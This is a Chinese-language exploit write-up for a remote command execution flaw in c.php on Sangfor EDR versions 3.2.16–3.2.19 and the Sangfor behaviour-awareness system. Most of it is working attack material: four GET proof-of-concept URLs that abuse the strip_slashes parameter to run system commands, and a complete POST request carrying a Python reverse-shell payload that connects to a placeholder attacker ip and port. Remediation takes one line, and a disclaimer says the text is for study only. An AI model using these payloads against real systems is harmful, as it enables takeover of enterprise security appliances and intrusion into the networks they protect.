深信服行为感知系统和终端检测响应平台EDR REC复现渗透测试

简介

深信服行为感知系统和终端检测响应平台EDR是深信服科技股份有限公司推出的安全产品，其行为感知系统 c.php 存在远程命令执行漏洞，与其相同模板的还有部分EDR,同样导致远程命令执行。

漏洞影响

深信服EDR 3.2.16
深信服EDR 3.2.17
深信服EDR 3.2.19
深信服 行为感知系统

漏洞复现

登录界面

c.php 远程命令执行漏洞 使用以下poc进行访问

/tool/log/c.php?strip_slashes=system&host=echo hello
/tool/log/c.php?strip_slashes=system&limit=echo hello
/tool/log/c.php?strip_slashes=system&path=echo hello
/tool/log/c.php?strip_slashes=system&row=echo hello

执行 echo hello

可弹shell 例如使用python弹shell POC如下

POST /tool/log/c.php HTTP/1.1
Host: xxx
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b1464478cad68327229d8f46e60d0a08; _ga=GA1.4.112365795.1597799903; _gid=GA1.4.1225783590.1597799903
Content-Length: 256

strip_slashes=system&host=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

修复建议

升级最新版本 限制c.php的访问

注意：本文仅供学习参考，非法传播及使用产生的后果自行承担，与本文作者无关